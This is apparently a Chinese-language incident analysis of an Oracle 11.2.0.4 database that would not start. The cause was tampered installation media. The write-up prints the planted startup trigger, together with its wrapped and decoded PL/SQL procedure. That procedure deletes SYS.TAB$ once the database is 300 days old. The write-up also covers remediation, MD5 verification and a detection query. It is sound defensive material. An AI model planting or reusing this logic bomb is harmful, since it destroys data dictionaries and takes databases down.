一、问题起因
最近某客户公司反映其金蝶系统突然运行缓慢,让我方工程师远程检查下其OracleDB的运行性能。中午时分由于客户方面确定该时间段没有人在使用系统遂决定安排进行一次DB重启,然而在重新启动过程中Oracle后台一直反复显示ORA-00704和ORA-00600错误,DB也自然是无法正常启动,连续尝试启动多次也是同样的结果
ORA-00600: internalerror code,arguments: [16703], [1403], [20], [], [], [], [], [], [], [], [], []
原本一个简单的性能诊断问题顿时演变成了应急故障抢救。
操作环境:RedHat6.7(64位)数据库版本:Oracle11.2.0.4
二、故障原因分析
2.1关于警告日志中的报错信息
首先检查alert警告日志,没有太多有价值的线索,其中的错误信息和我们在启动是SQLPLUS环境中看到的报错信息一致。我们截取其中部分信息,如下所示:
ARCq: Archival started
ARCr: Archival started
ARCs: Archival started
ARCr: Becoming the 'no FAL' ARCH
ARCr: Becoming the 'no SRL'
ARCH
ARC1: Becoming the heartbeat ARCH
Archived Log entry 9859 added
for thread 1 sequence 5191 ID 0x49cd01e3 dest 1:
ARCt: Archival started
ARC0: STARTING ARCH PROCESSES
COMPLETE
Use ADRCI or Support Workbench
to package the incident.
See Note 411.1 at My Oracle
Support for error and packaging details.
Errors in file
/app/oracle/diag/rdbms/kdeas/kdeas/trace/kdeas_ora_22862.trc:
ORA-00704: bootstrap process
failure
ORA-00704: bootstrap process
failure
ORA-00600: internal error code,
arguments: [16703], [1403], [20], [], [], [], [], [], [], [], [], []
Errors in file
/app/oracle/diag/rdbms/kdeas/kdeas/trace/kdeas_ora_22862.trc:
ORA-00704: bootstrap process
failure
ORA-00704: bootstrap process
failure
ORA-00600: internalerror code,arguments: [16703], [1403], [20], [], [], [], [], [], [], [], [], []
Error 704 happened during db
open, shutting down database
USER (ospid: 22862):
terminating the instance due to error 704
Instance terminated by USER,
pid = 22862
ORA-1092 signalled during:
ALTER DATABASE OPEN...
opiodr aborting process unknown
ospid (22862) as a result of ORA-1092
Fri Mar 23 12:59:17 2018
ORA-1092 : opitsk aborting
process
其中ORA-00704:bootstrapprocess failure一般都是指在打开数据库之前加载元数据(比如数据字典)过程出现问题。
2.2关于10046事件追踪信息
开启10046事件追踪DB启动过程,在启动最后阶段出现如下信息:
可以看到在出现错误的前面刚刚访问了TAB$表和I_OBJ$索引,这个应该是在检索比对TAB$和OBJ$表的对象信息。
至此DB无法启动的大致原因已经显现,就是因为启动时TAB$和OBJ$表内记录的信息不正确引起的。这种情况可能会出现在DB升级过程中,但本次故障不在此范畴内。
依据蒙马技术团队在业界的经验,对此故障也早有所耳闻:就是客户使用了“被恶意修改过的Oracle安装介质”导致在数据库安装后其内部存在“陷阱”引发的启动时故障。
三、故障根源探究
3.1 检查安装介质的MD5编码
我们继续检查当前Oracle软件环境的安装介质,果然发现Oracle11.2.0.4介质的第一个压缩包MD5编码和Oracle官网描述的不一致
Oracle技术网站发布的安装介质正确的MD5编码如下:
3.2安装介质比较
我们比较p13390677_112040_Linux-x86-64_1of7.zip两个安装介质里的文件,发现只有一个文件存在区别
\database\stage\Components\oracle.rdbms.dbscripts\11.2.0.4.0\1\DataFiles\filegroup2.jar
继续比较filegroup2.jar文件的内容,发现“污染介质”中的这个.jar文件中的prvtsupp.plb文件多出了下面内容:
dbms\admin\prvtsupp.plb文件多出了以下代码部分:
create or replace procedure DBMS_SUPPORT_DBMONITORPwrapped
a000000
369
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
7
166 17d
L+Q5S7kOFTBh3pJuFhl03zpaj2EwgzKur9zWZ47SR+pHN0Y8ER0IGya9iryn8BXxVZV99MqT
jPeDOVN1pQjRL9BBh4vtWEKCY/FfMGPnetcyOwrCiZd3y4XmBCby580I22k2zARou4x8Mwl7
GOEcpi6u23Rf2JOnTfA/PYL+pz7A1gvabRQrczX6dnK8HaHsERgX7VdwA3EsM784UwL6ESro
H+CNqON6SdF2HTUFBcmgBBPE/+blRgHQryEpxT3JOnEs1a8gUbjaLq+Xq9Eu9n/kdIwA+9ep
r59hpFLw/vnP7Cjaxk7WbJ6/XGj9F6DH+3MBxpFBmba1tk0pYAW1McQsYXNFbiSdxj1KnrmD
lUETCD2WIxfg3w==
/
PROMPT Create DBMS_SUPPORT_DBMONITOR TRIGGER
create or replace trigger DBMS_SUPPORT_DBMONITOR
after startup on database
declare
begin
DBMS_SUPPORT_DBMONITORP;
end;
/
从中我们可以看到在SYS用户下创建了名为“DBMS_SUPPORT_DBMONITOR”触发器,触发条件是数据库启动后(after startup on database)。
触发器调用名为“DBMS_SUPPORT_DBMONITORP”的存储过程,存储过程采用了加密写法。我们使用“DfUnwraper解码工具”还原了这段加密信息
存储过程创建语法如下:
PROCEDURE DBMS_SUPPORT_DBMONITORP IS
DATE1 INT :=10;
BEGIN
SELECt TO_CHAr(SYSDATE-CREATED
) INTO DATE1 FROM V$DATABASE;
IF (DATE1>=300) THEN
EXECUTE IMMEDIATE 'create table
ORACHK'||SUBSTr(SYS_GUID,10)||' tablespace system as select * fromsys.tab$';
DELETE SYS.TAB$;
COMMIT;
EXECUTE IMMEDIATE 'alter system
checkpoint';
END IF;
END;
该存储过程查询数据库的创建时间,如果创建时间大于300天就创建一个以ORACHK为前缀名的表来备份SYS用户的TAB$表,然后清空TAB$表继而导致数据库无法正常启动。
四、应对方法
在此技术团队提醒大家注意:
1. 一定要从正规途径获取Oracle软件介质(Oracle官网、Support技术网站等),不要使用非官方网上共享或者网盘里的资源。
如果不是直接从Oracle官方获取的介质,在安装前应当使用MD5方式校验软件介质的MD5编码。
对于已经在运行的数据库可以通过检查SYS用户下的触发器名称来确定DB是否存在相同隐患。如下图所示正常DB创建完后是没有这个触发器的。
2. 如果存在该触发器则千万不要重启数据库,
按常规步骤做完备份后
2.1可直接删除该触发器和存储过程,
2.2 然后编辑$ORACLE_HOME/rdbms/admin/prvtsupp.plb文件,删除其中关于创建触发器和存储过程的代码即可。
3. 对于已经进行了重启无法启动的数据库,由于其TAB$表也已经损坏,最便捷的方法是通过RMAN备份进行恢复。
五、自我数据库检查方法
Oracle安装介质被注入恶意代码检测方法:
sqlplus "/ a sysdba"
selectOBJECT_NAME from dba_objects where OBJECT_NAME in ('DBMS_SUPPORT_DBMONITOR','DBMS_SUPPORT_DBMONITORP');
SQL> select OBJECT_NAME from dba_objects where OBJECT_NAME in ('DBMS_SUPPORT_DBMONITOR','DBMS_SUPPORT_DBMONITORP');
no rows selected
如果无行返回,没有被注入恶意代码
如果有行返回,有被注入恶意代码
友情提醒:RMAN恢复后在打开数据库之前修改操作系统时间,保证系统时间减数据库创建时间小于300天避开触发器的触发条件,然后正常打开数据库进行删除触发器和相关存储过程的操作,最后再改回正确的操作系统时间。